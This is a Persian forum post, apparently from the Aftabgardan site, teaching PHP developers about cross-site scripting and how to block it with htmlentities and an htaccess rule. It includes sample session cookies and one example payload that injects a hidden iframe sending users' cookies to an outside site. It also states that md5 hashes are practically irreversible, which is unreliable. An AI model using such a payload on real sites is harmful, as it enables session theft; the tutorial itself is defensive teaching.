كنترل پنل             جستجو               پرسشهای متداول            .:: آخرین پست‌های انجمن ::.            لیست اعضا            مدیران سایت             درجات        ورود
فهرست انجمن‌ها -> برنامه‌نويسي تحت وب -> تکنولوژي Ajax
پاسخ دادن به این موضوع
جلوگیری از حملات XSS
پست تاریخ: جمعه 21 مرداد 1390 - 11:14    
Gytyonline
مديريت كل انجمن‌ها
مديريت كل انجمن‌ها


پست: 899
عضو شده در: 14 شهریور 1384
محل سکونت: tehran
iran.gif


امتياز: 8184

عنوان: جلوگیری از حملات XSS خواندن مشخصات فردی ارسال پیام شخصی ارسال email

سلام
تا به حال در آفتابگردان آموزش‌های زیادی در مورد امنیت در کدهای Php توسط من یا حمید جان قرار گرفته است مثل ساخت کد امنیتی در پی.اچ.پی (php) یا همان مبحث ایجاد کپچا (captcha) ، امنیت در تابع include در php و یا یکی از راههای جلوگیری از SQLInjection و ... .

امروز قصد داریم شما را با یکی دیگر از نوع‌ حملات هکرها آشنا کنیم به نام css و یا xss.

اما هک css چیست؟
css مخفف عبارت Cross Site Scripting می‌باشد که در وحله‌ی اول با شنیدن نام آن یاد css خودمان یعنی Cascading Style Sheets می‌افتیم به خاطر همین برای جلویری از این اشتباه علاوه بر css و به ان حملات xss نیز می‌گویند تا از تشابه اسمی این دو جلوگیری شود.

در حملات xss هکر به سایت صدمه‌ای وارد نمی‌کند و کاری به کار سایت و دست کاری و خراب کاری در آن ندارد، در واقع قصد هک از این نوع حملات سرقت اطلاعات کاربران و صدمه زدن به آنها می‌باشد نه خود سایت.

خوب حالا شگرد هکرها در این روش به چه صورتی می‌باشد؟
در حملات xss هکرها از زبان جاوااسکریپت استفاده می‌نمایند و هدف آنها به سرقت بردن session ها و کوکی‌ها می‌باشد.

مثلا فرض کنید همین ادیتور آفتابگردان که من در حال نوشتن این آموزش در آن هستم، اگر نکات امنیتی در آن رعایت نوشد حملات xss می‌تواند یکی از بزرگترین خطرات باشد.
حتما می‌پرسید چگونه؟!Embarassed
خوب بیاید مقداری دقیق تر شویم، حمه ما می‌دانیم که سایت‌ها برای ورود کاربران خود به سایت یا همان Login کردن از session ها و یا cookie ها استفاده می‌کنند و cookie ها در سمت کاربران و بر روی کامپیوتر آنها ذخیره می‌شوند، مثلا در آفتابگردان کوکی‌های مختلفی برای هر کاربر روی کامپیوتر آن ذخیره می‌شود مثلا چند نمونه از آن را در زیر برای شما قرار می‌دهم:
کد:

lang : persian

user : MzU0Okd5dHlvbmxpbmU6NWJhYTk2NDQ0MjY0ZDVjZmJjNjQ0N2U3OTc5N2VmOTc6NTo6MDowOjA6MTo6NDA5Ng

_sid : e1888c0103d9e85eba22d3a8f0f61369


همان طور که می‌بینید کوکی اول که lang نام دارد زبان کاربر را که سایت را با آن تنظیم کرده است نگه داری می‌شود و مقدار persian در آن ذخیره شده است، کوکی بعدی کوکی user می‌باشد که مقدار آن به صورت کد و هش شده در آن ذخیره شده است، و یا کوکی بعدی _sid‎ می‌باشد که ممکن است شماره ایدی کاربر را در بر داشته باشد و در خود ذخیره کرده باشد البته باز هم به صورت کد شده، که هکرها بر اساس طول رشته هک شده و بر حسب نوع کلمات و قالب عبارت هش شده الگوریتم و متد هش شده را متوجه خواهند شده، همان طور که می‌بینید طریقه‌ی هش شدن و الگوریتم کد شدن مقدار ذخیره شده در کوکی user و sid متفاوت می‌باشد، این را می‌توان از تفاوت‌های این دو نوع هش که عبارتند از:
1- تغییر در اندازه و تعداد کاراکترهای عبارت هش شده
2- نوع کوچک و بزرگ بودن حروف ( در sid تمامی کاراکترها به صورت کوچک می‌باشند)
3- رنج تعداد کاراکترها
و ....
متوجه شد. مثلا احتمالا sid به صورت md5()‎ هش شده باشد، چون md5 نیز بعد از هش طول عبارت هش شده حدود 32 کاراکتر می‌باشد، البته این فقط یک احتمال است و لازم است بدانید که عباراتی که توسط md5 هش شده باشند به هبچ طریقی قابل بازگشت و شکستن نیستند مگر با سعی و خطا که سالها طول خواهد کشید!!

خوب حالا اگر این عبارات به درستی و توسط متد درستی هش نشده باشد و موارد امنیتی در ارسال متن در ادیتور آفتابگردان به کار گرفته نشده باشد کاربر اسم کوکی‌ها را می‌داند و کد زیر را در ادیتور آفتابگردان وارد می‌کند:
کد:
{script} document.write("{ifram src='http://mysite.com?sid=$_COOKIE['_sid']&user=$_COOKIE['user']' }{/ ifram}"){/ script }


و پست با موفقیت ارسال شده و سپس نمایش داده می‌شود، خوب حالا به نظر شما چه اتفاقی خواهد افتاد؟!
برای این کار قدم به قدم جلو خواهیم رفت:
خوب پست با موفقیت انجام شدخه و در تاپیک مربوطه قرار خواهد گرفت و چون به صورت جاوااسکریپت می‌باشد هر بار که صفحه لود شود این کد نیز اجرا خواهد شد!!بدون اینکه حتی کاربر متوجه اجرای آن شود! به این صورت که خواصیت display آن را روی none تنظیم می‌نماییم.Wink
خوب کار این کد چیست؟
این کد همان طور که مشاهده می‌نمایید توسط جاوا اسکریپت نوشته شده است که توسط document.write()‎ تگ ifram مورد نظر خود را در صفحه می‌نویسیم و بقیه کارها به عهده‌ی iframe می‌باشد به این صورت که توسط iframe صفحه‎2‌ی مورد نظر را اجرا خواهیم کرد صفحه‌ای که توسط خودمان و در گوشه‌ای دیگر از اینترنت قرار دارد و به آن متغییرهایی رو ارسال می‌کنیم که متغییر‌های ما همان session ها و cookie ها می‌باشندو در سمت صفحه‌ی مورد نظر ما مقدار این متغییر‌ها را دریافت می‌کنیم و برای خودمان ذخیره می‌کنیم و یا به ایمیل خودمان میل می‌کنیم خوب حالا ما توانستیم کوکی‌ها و سشن‌های کاربری را که در آفتابگردان صفحه‌ای را که پست ما در آن قرار داشته را اجرا کرده بدست آوریمو حالا فکر بکیند که این اطلاعات به درستی کد نشده باشند بقیه ماجرا را خودتان می‌توانید حدس بزنید ...Laughing
خوب شاید بپرسید سشن‌ها که روی کامپیوتر کاربران ذخیره نمی‌شوند آنها را چه طوری می‌توان پیدا کرد؟ که اگر مقداری باهوش باشید خواهید توانست و چون قصد ما در این مقاله آموزش جلوگیری می‌باشد و نه هک از گفتن آن خودداری می‌نماییم.Embarassed

این کار حتی با قرار دادن یک لینک در سایت نیز قابل اجرا می‌باشد مثل قرار دادن همین {iframe} در امضای سایت!
که البته شایان به ذکر است که جلوی تمامی این کارها در آفتابگردان گرفته شده است پس برای تست سایت دیگری را انتخاب نمایید و تلاش بیهوده انجام ندهیدVery Happy

خوب حالا راههای جلوگیری از این حملات چیست؟
برای جلوگیری از این حملات 2 کار باید انجام دهید، در ورودی های خود که از سمت کاربر به سمت سرور فرستاده می‌شود عملیات پاک سازی را انجام دهید به این صورت که از تابع htmlentities()‎ استفاده نمایید، به این صورت :
کد:
string htmlentities ( string $string [, int $flags = ENT_COMPAT [, string $charset [, bool $double_encode = true ]]] )


که ورودی اول که همون strinng هستش رشته مورد نظر ما هستش که باید ایمن سازی بشه، ورودی بعدی flags هستش که یکی از چهار مقدار زیر رو دربر میگیره :
1- ENT_COMPAT : که فقط دابل کوتیشن‌ها رو به کاراکتر اصلی‌شون تبدیل میکنه و با سینگل کوتیشن کاری نداره.
2- ENT_QUOTES : هم دابل کوتیشن و هم سینگل کوتیشن رو به کدهاشون تبدیل می‌کنه.
3- ENT_NOQUOTES : نه سینگل کوتیشن و نه دابل کوتیشن رو کاری نداره و تبدیل به کدشون نمیکنه.
4- ENT_IGNORE : که از php 5.3 به بعد اضافه شده.
charset نیز نوع کاراکتر رو مشخص می‌کند که می‌تواند یکی از ISO-8859-1، ISO-8859-15، UTF-8 و ... باشد.
به دین صورت کاراکتر < و > به کدهای خود تبدیل خواهند شد و وقتی شما رشته ای به شکل {script} را از طریق ادیتور و یا ورودی دیگر ارسال می‌نمایید در صفحه به این شکل به نمایش در خواهند امند: &lt;script&gt; که دیگر خواصیت کد بودن خود را از دست داده اند و قابل اجرا توسط مرورگر نیستندEmbarassed

و راه کار بعدی این می‌باشد که در فایل htaccess خودتان از این کد استفاده نمایید:
کد:
RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR]


توسط این کد شما به apache خواهید گفت که در تمامی url ها که درخواستی را به سمت سرور ارسال می‌نمایند اگر تگ {script} وجود داشت آن را خنثی نماید.
به این طریق شما می‌توانید جلوی این گونه حملات را که به حملات xss موسوم هستند بگیرید.

امیدوارم این آموزش نیز در کنار آموزش‌های قبلی به شما هرچه بیشتر در نوشتن اسکریپت‌هایی امن کمک نمایید.
نویسنده : امین شفیعی.
موفق باشید;

[ وضعيت كاربر: ]

تشکر کردن از پست  پاسخگویی به این موضوع بهمراه نقل قول 
تشکرها از این پست: Hamid (جمعه 21 مرداد 1390 - 21:43)


نمایش پستها:                 مشاهده موضوع قبلی :: مشاهده موضوع بعدی  
پاسخ دادن به این موضوع
 

صفحه 1 از 1

تمام زمانها بر حسب GMT + 3.5 Hours می‌باشند
 Related Topics 


 information 

 

پرش به:  
شما نمی توانید در این بخش موضوع جدید پست کنید
شما نمی توانید در این بخش به موضوعها پاسخ دهید
شما نمی توانید موضوع های خودتان را در این بخش ویرایش کنید
شما نمی توانید موضوع های خودتان را در این بخش حذف کنید
شما نمی توانید در این بخش رای دهید


Copyright 2004-2020. All rights reserved.
© by Aftabgardan Cultural Center : Aftab.cc